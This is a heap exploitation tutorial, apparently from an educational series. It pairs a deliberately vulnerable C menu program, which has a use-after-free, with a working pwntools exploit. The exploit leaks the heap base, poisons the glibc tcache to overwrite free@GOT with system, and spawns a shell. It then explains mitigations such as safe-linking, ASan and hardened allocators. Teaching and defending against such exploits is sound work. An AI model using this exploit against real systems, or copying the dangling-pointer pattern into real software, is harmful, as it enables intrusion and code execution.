Heap Exploitation: tcache and Use-After-Free
The heap's own metadata is the write primitive. Build a use-after-free, poison the glibc tcache to allocate a chunk over a chosen address, and see why safe-linking and ASan raise the bar.
This is the sixth walkthrough in the Exploitation Techniques area, and the first on the heap. The stack techniques so far overwrote a return address or a GOT entry. Heap exploitation is different in feel: the write primitive comes from corrupting the allocator's own metadata, so the bug classes (use-after-free, double free, heap overflow) are inseparable from how the allocator works.
The conceptual background is in heap corruption and use-after-free. Here we exploit one in the lab. As always: your own binary, disposable VM. See the lab rules.
Heap exploitation is glibc-version-specific. This walkthrough targets glibc with tcache (2.26+) and calls out where 2.32 safe-linking changes things. Check yours with
ldd --versionand adjust; the concepts transfer, the exact bytes do not.
How the tcache serves allocations
Since glibc 2.26, small free()d chunks go onto the tcache: a per-thread array of singly linked lists, one per size class. The list is threaded through the freed chunks themselves — a freed chunk stores the pointer to the next free chunk (fd) in its own body, right where user data used to be.
tcache[size]list headchunk Afd in A's body points to Bchunk Bfd points onwardNULLend of listmalloc(size) returns chunk A and sets the list head to A->fd (= B).
The consequence: whoever controls a freed chunk's fd controls where the next-but-one malloc lands. That is the whole game.
The target
A small menu allocator with a classic use-after-free: free() does not clear the pointer, and the program lets you write into a freed chunk.
/* vuln.c — a menu heap demo with a use-after-free. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *slots[8];
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
for (;;) {
int op, i;
if (scanf("%d %d", &op, &i) != 2 || i < 0 || i >= 8) return 0;
if (op == 1) slots[i] = malloc(0x30); /* alloc */
else if (op == 2) free(slots[i]); /* free — no clear (UAF) */
else if (op == 3) read(0, slots[i], 0x30); /* write, even if freed */
else if (op == 4) { fwrite(slots[i], 1, 0x30, stdout); } /* read back */
}
}
gcc -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c
The bug is that op == 3 and op == 4 still dereference slots[i] after it has been freed — a textbook use-after-free.
Step 1 — leak a heap address (safe-linking)
On glibc 2.32+, the stored fd is not a raw pointer but pointer XOR (chunk_address >> 12) — safe-linking. To forge a valid fd we need to know the heap base. A UAF read of a freed chunk's fd leaks it:
from pwn import *
context.binary = ELF("./vuln")
io = process("./vuln")
def alloc(i): io.sendline(b"1 %d" % i)
def free(i): io.sendline(b"2 %d" % i)
def write(i, data): io.sendline(b"3 %d" % i); io.send(data)
def read_back(i): io.sendline(b"4 %d" % i); return io.recv(0x30)
alloc(0); free(0)
raw = u64(read_back(0)[:8]) # the (safe-linked) fd of the only freed chunk
# For the first free of a size class fd is 0, so the leak = 0 XOR (heap>>12) = heap>>12
heap_base = raw << 12
log.success("heap base: %#x", heap_base)
On glibc before 2.32 there is no safe-linking: the
fdis a raw pointer and this step is unnecessary. Skip straight to poisoning with plain addresses.
Step 2 — poison the tcache
Free two chunks so the list has depth, then use the UAF write to overwrite a freed chunk's fd with our target (safe-linked if needed). Two allocations later, malloc hands us a chunk at the target address.
def protect(ptr, addr): # glibc 2.32+ safe-linking transform
return ptr ^ (addr >> 12)
target = context.binary.got["free"] # where we want malloc to place a chunk
alloc(1); alloc(2)
free(2); free(1) # tcache: 1 -> 2
# overwrite chunk 1's fd to point the list at `target`
write(1, p64(protect(target, heap_base_of_chunk1)))
alloc(3) # returns chunk 1
alloc(4) # returns a chunk AT `target`
write(4, p64(context.binary.plt["system"])) # write over free@got
Now free(x) calls system(x). Send /bin/sh as the contents of a chunk and free it:
alloc(5); write(5, b"/bin/sh\x00")
free(5) # free@got now points at system → system("/bin/sh")
io.interactive()
The exact target and final trigger vary by glibc: pre-2.34 you might overwrite __free_hook directly; later versions favor a GOT entry, _IO_2_1_stdout_ (FSOP), or an exit handler. The primitive — control an fd, get an allocation at a chosen address — is what generalizes.
Turn the mitigations back on
Heap defences are less about one compiler flag and more about the allocator and tooling.
Safe-linking and the double-free key (already in modern glibc)
- tcache key (glibc 2.29+): each freed chunk stores a key; freeing it again is detected —
free(): double free detected in tcache 2— killing naive double-free poisoning. - Safe-linking (glibc 2.32+): the
fdis XORed withchunk_addr >> 12, so forging one requires a heap leak (Step 1). Alignment of the decoded pointer is also checked. These do not remove the bug, but they demand more from the attacker.
AddressSanitizer finds it before release
gcc -fsanitize=address -g -o vuln_asan vuln.c
Running the same interaction under ASan reports the use-after-free precisely, at the moment of the dangling access:
==...==ERROR: AddressSanitizer: heap-use-after-free on address 0x...
READ of size ... freed by thread T0 here: ... in free
previously allocated here: ... in malloc
This is where a heap UAF should die — in CI, not in production. Pair ASan with coverage-guided fuzzing to reach the paths that trigger it.
Hardened allocators
Allocators such as hardened_malloc and Scudo (Android/LLVM) add guard pages, randomized placement, and stronger metadata integrity checks, making tcache-style poisoning far harder than on stock glibc.
| Defence | What it does to this exploit |
|---|---|
| tcache double-free key (2.29+) | Blocks naive double-free into the same list |
| Safe-linking (2.32+) | Forging fd now needs a heap leak |
| AddressSanitizer | Catches the UAF at the dangling access, in testing |
| Hardened allocator (hardened_malloc/Scudo) | Guard pages + integrity checks defeat metadata poisoning |
| Memory-safe language | Removes the bug class entirely — see memory-safe languages |
What this teaches a defender
- The metadata is the attack surface. You cannot reason about a heap bug's severity without knowing the allocator. The same UAF is a crash on a hardened allocator and a shell on stock glibc.
- Version matters enormously. "We're on a recent glibc" genuinely raises the bar (safe-linking, the tcache key, removed hooks). Keeping the platform current is a real mitigation here, not just hygiene.
- ASan + fuzzing is the answer, not a flag on the shipping binary. ASan is a detection tool for CI; you do not ship it. The shipping defence is fixing the lifetime bug and, where you can, a hardened allocator and a memory-safe language.
Key takeaways
- The tcache threads its free list through freed chunks; controlling a freed chunk's
fdcontrols where the next-but-onemalloclands. - A use-after-free write forges that
fd, giving an allocation at a chosen address — a write primitive aimed at the GOT, a hook, or a file structure. - glibc's tcache key and safe-linking make double-free and pointer forging harder, and force a heap leak on 2.32+.
- The durable defences are AddressSanitizer in CI, hardened allocators, and memory-safe languages — flags alone do not fix lifetime bugs.
This completes the current arc of the Exploitation Techniques series: ret2win → ROP → ret2libc → format strings → GOT overwrite → the heap. Each technique ended at the mitigation that stops it — which, read together, is a defender's checklist.